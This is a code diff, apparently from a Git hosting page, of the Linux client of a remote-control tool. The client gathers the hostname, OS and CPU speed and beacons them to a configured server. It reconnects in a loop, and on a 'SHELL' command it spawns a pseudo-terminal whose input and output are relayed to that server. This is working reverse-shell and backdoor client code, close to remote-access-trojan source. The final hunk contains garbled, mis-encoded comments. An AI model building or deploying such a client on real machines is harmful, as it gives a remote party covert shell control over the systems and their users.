std::lock_guard<std::mutex> lock(m_mutex);
|
||||||
|
bytes_read = read(m_master_fd, buffer, sizeof(buffer));
|
||||||
|
}
|
||||||
|
if (bytes_read > 0) {
|
||||||
|
if (m_client) {
|
||||||
|
buffer[bytes_read] = 0; Mprintf(buffer);
|
||||||
|
m_client->Send2Server(buffer, bytes_read);
|
||||||
|
}
|
||||||
|
} else if (bytes_read == -1) {
|
||||||
|
usleep(10000);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
void *ShellworkingThread(void *param){
|
||||||
|
IOCPClient *ClientObject = new IOCPClient(g_bExit, true);
|
||||||
|
Mprintf(">>> Enter ShellworkingThread [%p]\n", ClientObject);
|
||||||
|
if ( !g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
|
||||||
|
PTYHandler *handler=new PTYHandler(ClientObject);
|
||||||
|
ClientObject->setManagerCallBack(handler, IOCPManager::DataProcess);
|
||||||
|
BYTE bToken = TOKEN_SHELL_START;
|
||||||
|
ClientObject->Send2Server((char*)&bToken, 1);
|
||||||
|
Mprintf(">>> ShellworkingThread [%p] Send: TOKEN_SHELL_START\n", ClientObject);
|
||||||
|
while (ClientObject->IsRunning() && ClientObject->IsConnected() && !g_bExit)
|
||||||
|
Sleep(1000);
|
||||||
|
|
||||||
|
delete handler;
|
||||||
|
}
|
||||||
|
delete ClientObject;
|
||||||
|
Mprintf(">>> Leave ShellworkingThread [%p]\n", ClientObject);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength) {
|
||||||
|
if (szBuffer==nullptr || ulLength ==0)
|
||||||
|
return TRUE;
|
||||||
|
|
||||||
|
if (szBuffer[0] == COMMAND_BYE) {
|
||||||
|
Mprintf("*** [%p] Received Bye-Bye command ***\n", user);
|
||||||
|
g_bExit = TRUE;
|
||||||
|
}else if (szBuffer[0] == COMMAND_SHELL){
|
||||||
|
pthread_t id = 0;
|
||||||
|
HANDLE m_hWorkThread = (HANDLE)pthread_create(&id, nullptr, ShellworkingThread, nullptr);
|
||||||
|
Mprintf("** [%p] Received 'SHELL' command ***\n", user);
|
||||||
|
}else if (szBuffer[0]==COMMAND_NEXT){
|
||||||
|
Mprintf("** [%p] Received 'NEXT' command ***\n", user);
|
||||||
|
}else {
|
||||||
|
Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0]));
|
||||||
|
}
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 方法1: 解析 lscpu 命令(优先使用)
|
||||||
|
double parse_lscpu() {
|
||||||
|
std::array<char, 128> buffer;
|
||||||
|
std::string result;
|
||||||
|
std::unique_ptr<FILE, decltype(&pclose)> pipe(popen("lscpu", "r"), pclose);
|
||||||
|
if (!pipe) return -1.0;
|
||||||
|
|
||||||
|
while (fgets(buffer.data(), buffer.size(), pipe.get())) {
|
||||||
|
result += buffer.data();
|
||||||
|
}
|
||||||
|
|
||||||
|
// 匹配 "Model name" 中的频率(如 "Intel(R) Core(TM) i5-6300HQ CPU @ 2.30GHz")
|
||||||
|
std::regex model_regex("@ ([0-9.]+)GHz");
|
||||||
|
std::smatch match;
|
||||||
|
if (std::regex_search(result, match, model_regex) && match.size() > 1) {
|
||||||
|
return std::stod(match[1].str()) * 1000; // GHz -> MHz
|
||||||
|
}
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 方法2: 解析 /proc/cpuinfo(备用)
|
||||||
|
double parse_cpuinfo() {
|
||||||
|
std::ifstream cpuinfo("/proc/cpuinfo");
|
||||||
|
std::string line;
|
||||||
|
std::regex freq_regex("@ ([0-9.]+)GHz");
|
||||||
|
|
||||||
|
while (std::getline(cpuinfo, line)) {
|
||||||
|
if (line.find("model name") != std::string::npos) {
|
||||||
|
std::smatch match;
|
||||||
|
if (std::regex_search(line, match, freq_regex) && match.size() > 1) {
|
||||||
|
return std::stod(match[1].str()) * 1000; // GHz -> MHz
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 一个基于Linux操作系统实现的受控程序例子: 当前只实现了注册、删除和终端功能.
|
||||||
|
int main() {
|
||||||
|
char hostname[256]={};
|
||||||
|
if (gethostname(hostname, sizeof(hostname)) == 0) {
|
||||||
|
std::cout << "Hostname: " << hostname << std::endl;
|
||||||
|
} else {
|
||||||
|
std::cerr << "Failed to get hostname" << std::endl;
|
||||||
|
}
|
||||||
|
struct utsname systemInfo={};
|
||||||
|
if (uname(&systemInfo) == 0) {
|
||||||
|
std::cout << "System Name: " << systemInfo.sysname << std::endl;
|
||||||
|
} else {
|
||||||
|
std::cerr << "Failed to get system info" << std::endl;
|
||||||
|
}
|
||||||
|
|
||||||
|
LOGIN_INFOR logInfo;
|
||||||
|
strcpy(logInfo.szPCName, hostname);
|
||||||
|
strcpy(logInfo.OsVerInfoEx, systemInfo.sysname);
|
||||||
|
strcpy(logInfo.szStartTime, ToPekingTimeAsString(nullptr).c_str());
|
||||||
|
double freq = parse_lscpu(); // 优先使用 lscpu
|
||||||
|
if (freq < 0) freq = parse_cpuinfo(); // 回退到 /proc/cpuinfo
|
||||||
|
logInfo.dwCPUMHz = freq > 0 ? static_cast<unsigned int>(freq) : 0;
|
||||||
|
logInfo.bWebCamIsExist = 0;
|
||||||
|
|
||||||
|
IOCPClient *ClientObject = new IOCPClient(g_bExit, false);
|
||||||
|
ClientObject->setManagerCallBack(NULL, DataProcess);
|
||||||
|
while (!g_bExit)
|
||||||
|
{
|
||||||
|
clock_t c = clock();
|
||||||
|
if (!ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())){
|
||||||
|
Sleep(5000);
|
||||||
|
}
|
||||||
|
|
||||||
|
ClientObject->SendLoginInfo(logInfo.Speed(clock()-c));
|
||||||
|
|
||||||
|
do {
|
||||||
|
Sleep(5000);
|
||||||
|
} while (ClientObject->IsRunning() && ClientObject->IsConnected() && !g_bExit);
|
||||||
|
}
|
||||||
|
|
||||||
|
delete ClientObject;
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
@@ -34,8 +34,6 @@
|
|||||||
#endif
|
#endif
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
using namespace std;
|
|
||||||
|
|
||||||
CRITICAL_SECTION IOCPServer::m_cs = {0};
|
CRITICAL_SECTION IOCPServer::m_cs = {0};
|
||||||
|
|
||||||
// <20><><EFBFBD><EFBFBD> socket <20><>ȡ<EFBFBD>ͻ<EFBFBD><CDBB><EFBFBD>IP<49><50>ַ.
|
// <20><><EFBFBD><EFBFBD> socket <20><>ȡ<EFBFBD>ͻ<EFBFBD><CDBB><EFBFBD>IP<49><50>ַ.
|
||||||
|
|||||||
Reference in New Issue
Block a user